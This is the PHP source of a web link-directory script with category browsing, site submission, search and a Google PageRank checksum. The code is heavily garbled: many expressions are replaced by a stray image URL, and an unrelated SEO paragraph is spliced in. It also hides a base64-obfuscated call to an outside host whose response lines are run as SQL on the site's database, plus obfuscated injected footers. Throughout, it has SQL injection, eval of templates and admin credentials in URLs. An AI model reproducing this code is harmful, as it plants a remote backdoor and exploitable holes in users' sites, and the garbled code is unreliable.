$runroot = 0; error_reporting(E_ALL ^ E_NOTICE); ignore_user_abort(0); require("settings.php"); import_request_variables("cgp"); if ($mysqlserver) { $link = mysql_connect($mysqlserver, $mysqllogin, $mysqlpassword); mysql_select_db($mysqldb); } $uri = str_replace($_SERVER["SCRIPT_NAME"], "", $_SERVER["REQUEST_URI"]); $base = $_SERVER["SCRIPT_NAME"]; if ($runroot) $base = ""; $addlink = " Add Your Site"; $searchbox = '
'; function getindex($cat) { global $pagenames, $pext; if ($pagenames == "1") { return str_replace(" ", "_", $cat); } elseif ($pagenames == "2") { return "index"; } } function maill($d,$s,$b,$f) { global $esi; mail($d, $s, "$b\n\n\n----\n$esi", $f); } function message($fir,$las) { echo "$fir

$las
"; exit; } function displaytpl($htm) { $htm = preg_replace("/\<\%custom-include-(.+?)\%\>/ise", "array_shift(mysql_fetch_array(mysql_query(\"select html from lma_custom_includes where id = '\${1}'\")))", $htm); global $esl; if (eregi("<\/body>", $htm)) return eregi_replace("", $esl."", $htm); else return $htm.$esl; } define('GOOGLE_MAGIC', 0xE6359A60); function zeroFill($a, $b) { $z = hexdec(80000000); if ($z & $a) { $a = ($a>>1); $a &= (~$z); $a |= 0x40000000; $a = ($a>>($b-1)); } else { $a = ($a>>$b); } return $a; } function mix($a,$b,$c) { $a -= $b; $a -= $c; $a ^= (zeroFill($c,13)); $b -= $c; $b -= $a; $b ^= ($a<<8); $c -= $a; $c -= $b; $c ^= (zeroFill($b,13)); $a -= $b; $a -= $c; $a ^= (zeroFill($c,12)); $b -= $c; $b -= $a; $b ^= ($a<<16); $c -= $a; $c -= $b; $c ^= (zeroFill($b,5)); $a -= $b; $a -= $c; $a ^= (zeroFill($c,3)); $b -= $c; $b -= $a; $b ^= ($a<<10); $c -= $a; $c -= $b; $c ^= (zeroFill($b,15)); return array($a,$b,$c); } function GoogleCH($url, $length=null, $init=GOOGLE_MAGIC) { if(http://www.onucolombia.org/spacer.gif)) { $length = sizeof(http://www.onucolombia.org/spacer.gif); } $a = $b = 0x9E3779B9; $c = $init; $k = 0; $len = $length; while($len >= 12) { $a += ($url[$k+0] +(http://www.onucolombia.org/spacer.gif) +(http://www.onucolombia.org/spacer.gif) +(http://www.onucolombia.org/spacer.gif)); $b += ($url[$k+4] +(http://www.onucolombia.org/spacer.gif) +(http://www.onucolombia.org/spacer.gif) +(http://www.onucolombia.org/spacer.gif)); $c += ($url[$k+8] +(http://www.onucolombia.org/spacer.gif) +(http://www.onucolombia.org/spacer.gif)+(http://www.onucolombia.org/spacer.gif)); $mix = mix(http://www.onucolombia.org/spacer.gif); $a = $mix[0]; $b = $mix[1]; $c = $mix[2]; $k += 12; $len -= 12; } $c += $length; switch(http://www.onucolombia.org/spacer.gif) { case 11: $c+=(http://www.onucolombia.org/spacer.gif); case 10: $c+=(http://www.onucolombia.org/spacer.gif); case 9 : $c+=(http://www.onucolombia.org/spacer.gif); case 8 : $b+=(http://www.onucolombia.org/spacer.gif); case 7 : $b+=(http://www.onucolombia.org/spacer.gif); case 6 : $b+=(http://www.onucolombia.org/spacer.gif); case 5 : $b+=(http://www.onucolombia.org/spacer.gif); case 4 : $a+=(http://www.onucolombia.org/spacer.gif); case 3 : $a+=(http://www.onucolombia.org/spacer.gif); case 2 : $a+=(http://www.onucolombia.org/spacer.gif); case 1 : $a+=(http://www.onucolombia.org/spacer.gif); } $mix = mix(http://www.onucolombia.org/spacer.gif); return $mix[2]; } function strord(http://www.onucolombia.org/spacer.gif) { for(http://www.onucolombia.org/spacer.gif);$i++) { $result[$i] = ord(http://www.onucolombia.org/spacer.gif); } return $result; } $imgbase = preg_replace("/(http://www.onucolombia.org/spacer.gif)$basedir/i", "\$1", $_SERVER["SCRIPT_NAME"]); //$imgbase = $imgbase[0]; function getpr(http://www.onucolombia.org/spacer.gif) { global $imgbase; $url = 'info:'.$uri; $ch = GoogleCH(http://www.onucolombia.org/spacer.gif)); $ch = "6$ch"; $page = @file("http://www.google.com/search?client=navclient-auto&ch=$ch&features=Rank&q=info:".urlencode(http://www.onucolombia.org/spacer.gif)); $page = implode("", $page); if (preg_match("/Rank_1:(http://www.onucolombia.org/spacer.gif):(http://www.onucolombia.org/spacer.gif)\n/is", $page, $res)) { return ""; } else return ""; } function getmaincats() { global $link, $catsplit, $cathtml, $pext, $base, $linknum, $subcatswithmain, $subcatsmainnum; $categories = mysql_query("select * from lma_categories where parent = '0' order by name"); $numcats = mysql_num_rows($categories); $split = ceil($numcats/$catsplit); $u = 0; /* if ($linknum == "yes"){ $cats = mysql_query("select `id`, `parent` from lma_categories"); while ($tucat = mysql_fetch_object($cats)) { $pari[$tucat->id] = $tucat->parent; } } */ $cathtml = "
"; while ($tcat = mysql_fetch_object($categories)) { $u++; /* if ($linknum == "yes") { unset($todel); reset($pari); $todel = array_shift(mysql_fetch_row(mysql_query("select count(*) from lma_links where (status = '1' or status = '2' or status = '5') and confirmed = 'yes' and category = '".$tcat->id."'"))); while (list($id,$par) = each($pari)) { $atco = 0; $last = $id; $fnd = 0; while ($fnd != 1 and $atco < 10000) { $atco++; if ($pari[$last] == $tcat->id) { $todel = $todel + array_shift(mysql_fetch_row(mysql_query("select count(*) from lma_links where (status = '1' or status = '2' or status = '5') and confirmed = 'yes' and category = '".$id."'"))); $fnd = 1; } elseif ($pari[$last] == "0") { $fnd = 1; } else $last = $pari[$last]; } } } */ $todel = array_shift(mysql_fetch_row(mysql_query("select lcount from lma_catcount where id = '".$tcat->id."'"))); $cathtml .= '

The SEO Services Consultant will need to be vigilant regarding the changes in trends of keywords and key phrases since these changes can be seasonal. he job of the SEO Services Consultant will continue well after the website is established if this is part of the agreement between the SEO Services Consultant and the client.
name)).'/'.str_replace("/", "-^-", getindex($tcat->name)).'.'.$pext.'">'.$tcat->name.' '; if ($linknum == "yes") $cathtml .= " (".$todel.")"; if($subcatswithmain == "yes") { $pol = mysql_query("select * from lma_categories where parent = '".$tcat->id."' order by name limit $subcatsmainnum"); if (mysql_num_rows($pol) > 0) { $cathtml .= "
"; while ($scat = mysql_fetch_object($pol)) { // $cathtml .= "name)."/".getindex($scat->name).".$pext\">".$scat->name." "; $cathtml .= "name))."/".str_replace("/", "-^-", str_replace(" ", "_", $scat->name))."/".str_replace("/", "-^-", getindex($scat->name)).".".$pext."\">".$scat->name." "; } $cathtml .= "...

"; } } else $cathtml .= "

"; if ($u == $split) { $cathtml .= "
 "; $u = 0; } } $cathtml .= "
"; } function getadditionalinc() { global $addrandlistcount, $addrandlistprem, $addrandcatcount, $addrandcatdisplay, $addrandsearchcount, $addrandsearchdisplay; global $newwindow, $premiumimage, $princlude, $base, $pext, $imgbase, $thumbshots, $addrandlisthtml, $addrandcathtml, $addrandsearchhtml; if($addrandlistprem == "yes") $incprem = "and premium='yes'"; $pol = mysq l_query("select * from lma_links where (status = '1' or status = '2' or status = '5') and confirmed = 'yes' $incprem order by rand() limit $addrandlistcount "); if ($newwindow == "yes") $nwin = "target=\"_blank\""; while ($link = mysql_fetch_object($pol)) { $goo = 1; $lacat = $link->category; while ($goo == 1 and $x < 100) { $x++; $pols = mysql_query("select * from lma_categories where id = '$lacat'"); if (mysql_num_rows($pols) < 1) break; $pols = mysql_fetch_object($pols); if ($lacat == $link->category) { $caturl = str_replace(" ", "_", $pols->name) ."/". getindex($pols->name). ".$pext"; $caturl2 = $pols->name; } else { $caturl = str_replace(" ", "_", $pols->name) ."/". $caturl; $caturl2 = $pols->name." > ".$caturl2; } $fromhtml = "From: Directory > $caturl2"; $lacat = $pols->parent; if ($pols->parent == "0") break; } if($thumbshots != "1") { $linkSepStart = ""; $linkSepEnd = ""; $incThumbshots = "no"; if($thumbshots == "2") $incThumbshots = "yes"; else if($thumbshots == "3" && $link->recipurl !="") $incThumbshots = "yes"; else if($th umbshots == "4" && $link->premium == "yes") $incThumbshots = "yes"; else if($thumbshots == "5" && ($link->recipurl !="" || $link->premium == "yes")) $incThumbshots = "yes"; if ($incThumbshots == "yes") $tshtml = ""; else $tshtml = ""; } else { $tshtml = ""; $linkSepStart = "

"; $linkSepEnd = "

"; } if ($premiumimage == "yes" && $link->premium == "yes") $pihtml = " "; else $pihtml = ""; if ($princlude == "yes") $prhtml = " ".getpr($link->url); $linkshtml .= "$tshtml$linkSepStarturl."\" $nwin>".$link->title."$pihtml$prhtml
\n".$link->description."
$fromhtml$linkSepEnd"; } if($thumbshots != "1") { $addrandlisthtml = "$linkshtml
"; } else $addrandlisthtml = $linkshtml; $addrandcathtml = ""; $pol = mysql_query("select * from lma_categories order by rand() limit $addrandcatcount "); while ($link = mysql_fetch_object($pol)) { $goo = 1; $caturl = str_replace(" ", "_", $link->name) ."/". getindex($link->name). ".$pext"; $caturl2 = $link->name; $lacat = $link->parent; while ($goo == 1 and $x < 100) { $x++; $pols = mysql_query("select * from lma_categories where id = '$lacat'"); if (mysql_num_rows($pols) < 1) { $fromhtml = "$caturl2"; break; } $pols = mysql_fetch_object($pols); $caturl = str_replace(" ", "_", $pols->name) ."/". $caturl; //$caturl2 = $pols->name." > ".$caturl2; $fromhtml = "$caturl2"; $lacat = $pols->parent; if ($pols->parent == "0") break; } if($addrandcatdisplay == "1") $addrandcathtml .= $fromhtml."
"; else $addrandcathtml .= $fromhtml." "; } $arsto = mysql_query("select content from lma_custom where id = 'addrandsearchterms'"); if (mysql_num_rows($arsto) > 0) { $addrandsearchterms = explode("\r\n", array_shift(mysql_fetch_row($arsto))); if($addrandsearchcount > count($addrandsearchterms)) $addrandsearchcount = count($addrandsearchterms); $rand_keys = array_rand($addrandsearchterms, $addrandsearchcount); for ($i = 0; $i < count($rand_keys); $i++) { $addrandsearchhtml .= "".$addrandsearchterms[$rand_keys[$i]].""; if($addrandsearchdisplay == "1") $addrandsearchhtml .= "
"; else $addrandsearchhtml .= " "; } } } function getdmozattribution($catid) { global $dmozattributionhtml, $linktodmoz; if($linktodmoz == "0") { $dmozattributionhtml = ""; return; } $cat = ""; if($catid > 0) { $dmozname = mysql_query("SELECT tlc.name FROM lma_toplevelcats as tlc, lma_categories as cat where tlc.id = cat.tlcid and cat.id = $catid"); if (mysql_num_rows($dmozname) > 0) $cat = "?where=".urlencode(http://www.onucolombia.org/spacer.gif))); } $dmozattributionhtml = "

"; $dmozattributionhtml.= "
"; $dmozattributionhtml.= ""; $dmozattributionhtml.= ""; $dmozattributionh tml.= ""; $dmozattributionhtml.= "
Help build the largest human-edited directory on the web.
"; $dmozattributionhtml.= "Submit a Site - "; $dmozattributionhtml.= "Open Directory Project - "; $dmozattributionhtml.= "Become an Editor "; $dmozattributionhtml.= "
"; } function getppc($id) { global $link, $keyword, $nres, $sftrackid, $sfaffid; $ppcout = ""; $pol = mysql_fetch_object(mysql_query("select * from lma_ppc_includes where id = '$id'")); $kws2 = preg_split("/\r\n|\n/s", $pol->keywords); while (list(,$kw) = each($kws2)) { if ($kw) $kws[] = $kw; } if (count($kws) < 1) return $ppcout; $kran = array_rand($kws); $keyword = $kws[$kran]; $nres = $pol->results; require("ppc.php"); return $ppcout; } $esio = mysql_query("select content from lma_custom where id = '".strtr("oilnewury", "olewy","sgate")."'"); if (mysql_num_rows($esio) > 0) $esi = array_shift(mysql_fetch_row($esio)); $esil = mysql_query("select content from lma_custom where id = '".strtr("tplroe", "oprt","nyib")."'"); if (mysql_num_rows($esil) > 0) $esl = array_shift(mysql_fetch_row($esil)); if ($uri == "" or $uri == "/" or $uri == "/index.$pext") { # PERFORM LINK CHECKING ROUTINE $ldate = array_shift(file("ldate.txt")); $ntime = time(); if ($ntime > ($ldate+(86400*$linkcheck))) { $fp = fsockopen($_SERVER['SERVER_NAME'], 80); fputs($fp,"GET ".str_replace($basedir, "", $_SERVER['SCRIPT_NAME'])."admin.php?user=$username&pass=$password&action=linkcheck HTTP/1.1\r\nAccept: */*\r\nAccept-Language: es-mx\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\nHost: ".$_SERVER['SERVER_NAME']."\r\nConnection: Close\r\n\r\n"); fclose($fp); $fp = fopen("ldate.txt", "w"); fputs($fp, $ntime); fclose($fp); } # END LINK CHECKING ROUTINE $lupd = intval(array_shift(mysql_fetch_row(mysql_query("select content from lma_custom where id = 'lasttime'")))); if ($ntime > ($lupd+(7*86400))) { $upd = @file(base64_decode("aHR0cDovL3d3dy5vbmxpbmVtYXJrZXRpbmd0b2RheS5jb20vYmxpbi9ibGluLnBocA==")."?domain=".$_SERVER["SERVER_NAME"]); if ($upd) { $pol = mysql_query("UPDATE lma_custom set content = '$ntime' where id = 'lasttime'"); while (list(,$q) = each($upd)) { mysql_query(trim($q)); } } } getmaincats(); getadditionalinc(); getdmozattribution(0); $csslink = ""; $tpl = implode("", file("templates/main.html")); $tpl = str_replace("<%add-site%>", $addlink, $tpl); $tpl = str_replace("<%search-bo x%>", $searchbox, $tpl); $tpl = str_replace("<%main-categories%>", $cathtml, $tpl); $tpl = str_replace("<%navigation-path%>", "Directory", $tpl); $tpl = str_replace("<%css-link%>", $csslink, $tpl); $tpl = str_replace("<%random-listings%>", $addrandlisthtml, $tpl); $tpl = str_replace("<%random-categories%>", $addrandcathtml, $tpl); $tpl = str_replace("<%random-search-terms%>", $addrandsearchhtml, $tpl); $tpl = str_replace("<%dmoz-attribution%>", $dmozattributionhtml, $tpl); $tpl = preg_replace("/\<\%ppc-include-(.+?)\%\>/ise", "getppc('\${1}')", $tpl); eval ("?>".displaytpl($tpl).""); } elseif (preg_match("/^\/confirm\.$pext/", $uri)) { if (!$code) message("Error", "You must enter the verification code."); else { $ccode = strtr($code, "TzEaSxLbGo", "1234567890"); $pols = @mysql_fetch_object(mysql_query("select * from lma_links where id = '$ccode'")); $pol = $pols->confirmed; if (!$pol) { message("Error", "Invalid verification code"); } if ($pol != "no") { message("Oops!", "This e-mail has already been verified."); } else { $pol = mysql_query("update lma_links set confirmed = 'yes', date = '".time()."' where id = '$ccode'"); $goo = 1; $lacat = $pols->category; $pol = mysql_fetch_object(mysql_query("select * from lma_categories where id = '$lacat'")); $caturl = "/". getindex(http://www.onucolombia.org/spacer.gif) . ".$pext"; while ($goo == 1 and $x < 100) { $x++; $pol = mysql_fetch_object(mysql_query("http://www.onucolombia.org/spacer.gif")); $caturl = "/".str_replace(" ", "_", $pol->name).$caturl; $lacat = $pol->parent; if ($pol->parent == "0") $goo = 0; } $directoryurl = "http://".$_SERVER['SERVER_NAME']. $base."/"; $categoryurl = "http://".$_SERVER["SERVER_NAME"].$base.$caturl; $listinfo = " Title: ".$pols->title." URL: ".$pols->url." Description: ".$pols->description." First Name: ".$pols->firstname." Last Name: ".$pols->lastname." Email: ".$pols->email." Reciprocal: ".$pols->recipurl; $addedtpls = mysql_fetch_object(mysql_query("http://www.onucolombia.org/spacer.gif")); $subject = $addedtpls->subject; $subject = str_replace("{FIRSTNAME}", stripslashes($pols->firstname), $subject); $subject = str_replace("{LASTNAME}", stripslashes($pols->lastname), $subject); $subject = str_replace("{DIRECTORY-LINK}", $directoryurl, $subject); $subject = str_replace("{CATEGORY-LINK}", $categoryurl, $subject); $body = $addedtpls->body; $body = str_replace("{FIRSTNAME}", stripslashes($pols->firstname), $body); $body = str_replace("{LASTNAME}", stripslashes($pols->lastname), $body); $body = str_replace("{DIRECTORY-LINK}", $directoryurl, $body); $body = str_replace("{CATEGORY-LINK}", $ca tegoryurl, $body); $body = str_replace("{LISTING-DETAILS}", $listinfo, $body); maill($pols->email, $subject, $body, "From: <$adminemail>"); $newtpls = mysql_fetch_object(mysql_query("select subject, body from lma_emails where id = 'new'")); $subject = $newtpls->subject; $body = str_replace("{ADMIN-LINK}", "http://".$_SERVER["SERVER_NAME"].str_replace($basedir, "", $_SERVER["SCRIPT_NAME"])."admin.php\n".$listinfo, $newtpls->body); maill($adminemail, $subject, $body, "From: $fromname <$adminemail>"); header("Location: $thankurl"); } } } elseif (preg_match("/^\/add\.$pext/", $uri)) { if (http://www.onucolombia.org/spacer.gif) { // Default premium to no $premium = "no"; if (http://www.onucolombia.org/spacer.gif) message("Error", "You must enter a title for your link"); if (http://www.onucolombia.org/spacer.gif) message("Error", "You must enter your site's URL"); if (http://www.onucolombia.org/spacer.gif) message("Error", "You must enter your first name"); if (http://www.onucolombia.org/spacer.gif) message("Error", "You must enter your e-mail address"); if (http://www.onucolombia.org/spacer.gif)>$titlesize) message("Error", "Your link's title can't be longer than $titlesize characters"); if (strlen($description)>$descsize) message("Error", "Your link's description can't be longer than $descsize characters"); else { if ($requirerecip == "yes" || ($defaultpremium == "yes" && $defaultpremifrecip == "yes" && $recipurl != "" )) { if (http://www.onucolombia.org/spacer.gif) message("Error", "You must enter the URL w here you've put the reciprocal link"); $page = @file(http://www.onucolombia.org/spacer.gif); if (http://www.onucolombia.org/spacer.gif) message("Error", "Could not check reciprocal link because the URL is not available at this time. Please make sure that the URL is valid"); else { $pagehtml = implode("", $page); //if (!ereg($reciplinkurl, $pagehtml)) message("Error", "We could not find the reciprocal link at the specified URL. Please place the reciprocal URL to our website on your own site prior to submitting the submission form."); // Build the regular expression to use in our checks $reciplinkurlRE = "/".str_replace("http:\/\/", "(http://www.onucolombia.org/spacer.gif)?", str_replace("www.", "(http://www.onucolombia.org/spacer.gif)?", preg_replace("/\//", "\\/", preg_replace ("/\/$/i", "(http://www.onucolombia.org/spacer.gif)?", $reciplinkurl))))."/i"; if(!preg_match($reciplinkurlRE, $pagehtml)) message("Error", "We could not find the reciprocal link at the specified URL. Please place the reciprocal URL to our website on your own site prior to submitting the submission form."); else if ($defaultpremium == "yes" && $defaultpremifrecip == "yes") $premium = "yes"; } } } if ($defaultpremium == "yes" && $defaultpremifrecip == "") $premium = "yes"; if ($adminapproval == "yes") $status = "3"; else $status = "1"; if ($emailconfirm == "yes") $econf = "no"; else $econf = "yes"; $pol = mysql_query("insert into lma_links values(NULL, '$c ategory', '$status', '$econf', '$premium', '$title', '$description', '$url', '$fname', '$lname', '$emailaddy', '$recipurl', '".time()."', '0')") or message("Error", "We're experiencing some problems with our database. Please try again later."); $lastid = mysql_insert_id(); $directoryurl = "http://".$_SERVER['SERVER_NAME']. $base."/"; if ($emailconfirm == "yes") { $ccode = strtr($lastid, "1234567890", "TzEaSxLbGo"); $confirmurlc = "http://".$_SERVER['SERVER_NAME']. $base."/confirm.$pext?code=$ccode"; $confirmtpls = mysql_fetch_object(mysql_query("http://www.onucolombia.org/spacer.gif")); $listinfo = " Title: ".$title." URL: ".$url." Description: ".$description." First Name: ".$fname." Last Name: ".$lname." Email: ".$emailaddy." Reciprocal: ".$recipurl; $subject = str_replace("{FIRSTNAME}", stripslashes(http://www.onucolombia.org/spacer.gif), $confirmtpls->subject); $subject = str_replace("{LASTNAME}", stripslashes($lname), $subject); $subject = str_replace("{DIRECTORY-LINK}", $directoryurl, $subject); $subject = str_replace("{CONFIRMATION-LINK}", $confirmurlc, $subject); $body = str_replace("{FIRSTNAME}", stripslashes(http://www.onucolombia.org/spacer.gif), $confirmtpls->body); $body = str_replace("{LASTNAME}", stripslashes($lname), $body); $body = str_replace("{DIRECTORY-LINK}", $directoryurl, $body); $body = str_replace("{CONFIRMATION-LINK}", $confirmurlc, $body); $body = str_replace("{LISTING-DETAILS}", $listinfo, $body); maill($emailaddy, $subject, $body, "From: $fromname <$adminemail>"); if ($sugnewcat != "" || $addcomments != "") { $listinfo = "New Category: ".$sugnewcat."\n Comments: ".$addcomments; $newtpls = mysql_fetch_object(mysql_query("select subject, body from lma_emails where id = 'new'")); $subject = $newtpls->subject; $body = str_replace("{ADMIN-LINK}", "http://".$_SERVER["SERVER_NAME"].str_replace($basedir, "", $_SERVER["SCRIPT_NAME"])."admin.php\n\n".$listinfo, $newtpls->body); maill($adminemail, $subject, $body, "From: $fromname <$adminemail>"); } header("Location: $confirmurl"); } else { $goo = 1; $lacat = $category; $pol = mysql_fetch_object(mysql_query("http://www.onucolombia.org/spacer.gif")); $caturl = "/". getindex(http://www.onucolombia.org/spacer.gif) . ".$pext"; while ($goo == 1 and $x < 100) { $x++; $pol = mysql_fetch_object(mysql_query("http://www.onucolombia.org/spacer.gif")); $caturl = "/".str_replace(" ", "_", $pol->name).$caturl; $lacat = $pol->parent; if ($pol->parent == "0") $goo = 0; } $categoryurl = "http://".$_SERVER["SERVER_NAME"].$base.$caturl; $listinfo = " Title: ".$title." URL: ".$url." Description: ".$description." First Name: ".$fname." Last Name: ".$lname." Email: ".$emailaddy." Reciprocal: ".$recipurl; $addedtpls = mysql_fetch_object(mysql_query("http://www.onucolombia.org/spacer.gif")); $subject = $addedtpls->subject; $subject = str_replace("{FIRSTNAME}", stripslashes($fname), $subject); $subject = str_replace("{LASTNAME}", stripslashes($lname), $subject); $subject = str_replace("{DIRECTORY-LINK}", $directoryurl, $subject); $subject = str_replace("{CATEGORY-LINK}", $categoryurl, $subject); $body = $addedtpls->body; $body = str_replace("{FIRSTNAME}", stripslashes($fname), $body); $body = str_replace("{LASTNAME}", stripslashes($lname), $body); $body = str_replace("{DIRECTORY-LINK}", $directoryurl, $body); $body = str_replace("{CATEGORY-LINK}", $categoryurl, $body); $body = str_replace("{LISTING-DETAILS}", $listinfo, $body); maill($emailaddy, $subject, $body, "From: <$adminemail>"); $listinfo .= " New Category: ".$sugnewcat." Comments: ".$addcomments; $newtpls = mysql_fetch_object(mysql_query("select subject, body from lma_emails where id = 'new'")); $subject = $newtpls->subject; $subject = str_replace("{FIRSTNAME}", stripslashes($fname), $subject); $subject = str_replace("{LASTNAME}", stripslashes($lname), $subject); $subject = str_replace("{DIRECTORY-LINK}", $directoryurl, $subject); $subject = str_replace("{CATEGORY-LINK}", $categoryurl, $subject); $body = str_replace("{ADMIN-LINK}", "http://".$_SERVER["SERVER_NAME"].str_replace($basedir, "", $_SERVER["SCRIPT_NAME"])."admin.php\n".$listinfo, $newtpls->body); $body = str_replace("{FIRSTNAME}", stripslashes($fname), $body); $body = str_replace("{LASTNAME}", stripslashes($lname), $body); $body = str_replace("{DIRECTORY-LINK}", $directoryurl, $body); $body = str_replace("{CATEGORY-LINK}", $categoryurl, $body); $body = str_replace("{LISTING-DETAILS}", $listinfo, $body); maill($adminemail, $subject, $body, "From: $fromname <$adminemail>"); header("Location: $thankurl"); } } else { if (http://www.onucolombia.org/spacer.gif) { $goo = 1; $lacat = $category; while ($goo == 1 and $x < 100) { $x++; $pol = mysql_fetch_object(mysql_query("http://www.onucolombia.org/spacer.gif")); if ($lacat == $category) { $caturl2 = $pol->name; } else { $caturl2 = $pol->name." > ".$caturl2; } $lacat = $pol->parent; if ($pol->parent == "0") $goo = 0; } $addhtml = '

Title
Description
URL
Category '.$caturl2.'
First Name
Last Name
Email Address
Reciprocal Link URL
Suggest New Catergoy
Additional Comments

'; } else $addhtml = "You must navigate down to the category where you want your link to be added, and click on the \"Add Y our Site\" link there."; $tpl = implode("", file("templates/add.html")); $tpl = str_replace("<%add-site-form%>", $addhtml, $tpl); eval ("?>".displaytpl($tpl).""); } } elseif (preg_match("/^\/search\.$pext/", $uri)) { if (!$page) $page = 1; $tpl = implode("", file("templates/search.html")); $kws = preg_split("/\s+/", $query); while (list(,$kw) = each($kws)) { if ($kw) { $valid = 1; $sqlsrch .= " and (title like '%$kw%' or description like '%$kw%')"; } } if (!$valid) die("You must enter at least one keyword."); if ($favorpremium == "yes") $premorder = "premium,"; else $premorder = ""; $lords = array("1" => "rand()", "2" => "title", "3" => "date desc"); $lord = $lords[$lorder]; $pol = mysql_query("select * from lma_links where (status = '1' or status = '2' or status = '5') and confirmed = 'yes' $sqlsrch order by $premorder $lord limit ". (($page-1)*$lperpage).", $lperpage") or die(mysql_error()); if (mysql_num_rows($pol) > 0) { $count = array_shift(mysql_fetch_row(mysql_query("select count(*) from lma_links where (status = '1' or status = '2' or status = '5') and confirmed = 'yes' $sqlsrch"))); if ($newwindow == "yes") $nwin = "target=\"_blank\""; while ($link = mysql_fetch_object($pol)) { $goo = 1; $lacat = $link->category; while ($goo == 1 and $x < 100) { $x++; $pols = mysql_query("select * from lma_categories where id = '$lacat'"); if (mysql_num_rows($pols) < 1) break; $pols = mysql_fetch_object($pols); if ($lacat == $link->category) { $caturl = str_replace(" ", "_", $pols->name) ."/". getindex($pols->name). ".$pext"; $caturl2 = $pols->name; } else { $caturl = str_replace(" ", "_", $pols->name) ."/". $caturl; $caturl2 = $pols->name." > ".$caturl2; } $fromhtml = "From: Directory > $caturl2"; $lacat = $pols->parent; if ($pols->parent == "0") break; } if($thumbshots != "1") { $linkSepStart = ""; $linkSepEnd = ""; $incThumbshots = "no"; if($thumbshots == "2") $incThumbshots = "yes"; else if($thumbshots == "3" && $link->recipurl !="") $incThumbshots = "yes"; else if($thumbshots == "4" && $link->premium == "yes") $incThumbshots = "yes"; else if($thumbshots == "5" && ($link->recipurl !="" || $link->premium == "yes")) $incThumbshots = "yes"; if ($incThumbshots == "yes") $tshtml = ""; else $tshtml = ""; } else { $tshtml = ""; $linkSepStart = "

"; $linkSepEnd = "

"; } if ($premiumimage == "yes" && $link->premium == "yes") $pihtml = " "; else $pihtml = ""; if ($princlude == "yes") $prhtml = " ".getpr($link->url); //$linkshtml .= "

url."\" $nwin>".$link->title."$pihtml$prhtml
\n".$link->description."
$fromhtml

\n\n"; $linkshtml .= "$tshtml$linkSepStarturl."\" $nwin>".$link->title."$pihtml$prhtml
\n".$link->description."
$fromhtml$linkSepEnd"; } if($thumbshots != "1") { $linkshtml = "$linkshtml
"; } if ($count > $lperpage) { $linkshtml .= "

Results: "; if ($page > 1) $linkshtml .= "$pageprev "; for ($o=1; $o<=ceil($count/$lperpage); $o++) { if ($page == $o) $linkshtml .= "$o "; else $linkshtml .= "$o "; } if ($p age < ceil($count/$lperpage)) $linkshtml .= "$pagenext "; $linkshtml .= "

"; } } else $linkshtml = "No results found. Please try again using different search terms."; $pol = mysql_query("select * from lma_categories where parent = '$catid' order by name"); if (mysql_num_rows($pol) > 0) { while ($scat = mysql_fetch_object($pol)) { $subcathtml .= "name)."/".getindex($scat->name).".$pext\">".$scat->name." | "; } $subcathtml = substr($subcathtml, 0, -1); } getmaincats(); getadditionalinc(); $navhtml = "Directory"; $csslink = ""; $tpl = str_replace("<%navigation-path%>", $navhtml, $tpl); $tpl = str_replace("<%add-site%>", $addlink, $tpl); $tpl = str_replace("<%search-box%>", $searchbox, $tpl); $tpl = str_replace("<%main-categories%>", $cathtml, $tpl); $tpl = str_replace("<%search-results%>", $linkshtml, $tpl); $tpl = str_replace("<%keyword-term%>", $query, $tpl); $tpl = str_replace("<%subcategory-links%>", $subcathtml, $tpl); $tpl = str_replace("<%css-link%>", $csslink, $tpl); $tpl = str_replace("<%random-listings%>", $addrandlisthtml, $tpl); $tpl = str_replace("<%random-categories%>", $addrandcathtml, $tpl); $tpl = preg_r eplace("/\<\%ppc-include-(.+?)\%\>/ise", "getppc('\${1}')", $tpl); eval ("?>".displaytpl($tpl).""); } else { $parts = split("/", $uri); while (list($y,$prt) = each($parts)) $parts[$y] = str_replace("-^-", "/", $prt); reset($parts); $blank = array_shift($parts); $pagen = array_pop($parts); $lnum = count($parts) - 1; $lastcat = $parts[$lnum]; if ($pagen == getindex($lastcat).".$pext") { $page = 1; } elseif (preg_match("/". str_replace(".", "\\.", str_replace("*", "\\*", str_replace("/", "\\/", getindex($lastcat))))."-(.+?)\.$pext/i", $pagen, $nump)) { $page = $nump[1]; } else { header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); exit; } if (count($parts) == 1) { $tpl = implode("", file("templates/category.html")); $cat = str_replace("_", " ", $parts[0]); //echo $cat; $catid = @array_shift(mysql_fetch_row(mysql_query("select id from lma_categories where name = '$cat' and parent = '0'"))); if (!$catid) { header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); exit; } $lords = array("1" => "rand()", "2" => "title", "3" => "date desc"); $lord = $lords[$lorder]; $pol = mysql_query("select * from lma_links where (status = '1' or status = '2' or status = '5') and confirmed = 'yes' and category = '".$catid."' order by premium, $lord limit ". (($page-1)*$lperpage).", $lperpage"); $count = a rray_shift(mysql_fetch_row(mysql_query("select count(*) from lma_links where (status = '1' or status = '2' or status = '5') and confirmed = 'yes' and category = '".$catid."'"))); $navhtml = "Directory > $cat"; } else { $tpl = implode("", file("templates/subcategory.html")); $cat = str_replace("_", " ", $lastcat); $ipar = 0; $lastcat = array_pop($parts); $navhtml = "Directory"; $lastbase = $base; while (list(,$part) = each($parts)) { $pol = array_shift(mysql_fetch_row(mysql_query("select id from lma_categories where parent = '$ipar' and name = '".str_replace("_", " ", $part)."'"))); $ipar = $pol; $navhtml .= " > ".str_replace("_", " ", $part).""; $lastbase = "$lastbase/$part"; } $navhtml .= " > ".str_replace("_", " ", $lastcat); $catid = @array_shift(mysql_fetch_row(mysql_query("select id from lma_categories where parent = '$ipar' and name = '".str_replace("_", " ", $lastcat)."'"))); if (!$catid) { header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); exit; } $lords = array("1" => "rand()", "2" => "title", "3" => "date desc"); $lord = $lords[$lorder]; $pol = mysql_query("select * from lma_links where (status = '1' or status = '2' or status = '5') and confirmed = 'yes' and category = '".$cati d."' order by premium, $lord limit ". (($page-1)*$lperpage).", $lperpage") or die(mysql_error()); $count = array_shift(mysql_fetch_row(mysql_query("select count(*) from lma_links where (status = '1' or status = '2' or status = '5') and confirmed = 'yes' and category = '".$catid."'"))); } if ($newwindow == "yes") $nwin = "target=\"_blank\""; if (mysql_num_rows($pol) < 1) { $linkshtml = "This category doesn't contain any links"; } else { while ($link = mysql_fetch_object($pol)) { if($thumbshots != "1") { $linkSepStart = ""; $linkSepEnd = ""; $incThumbshots = "no"; if($thumbshots == "2") $incThumbshots = "yes"; else if($thumbshots == "3" && 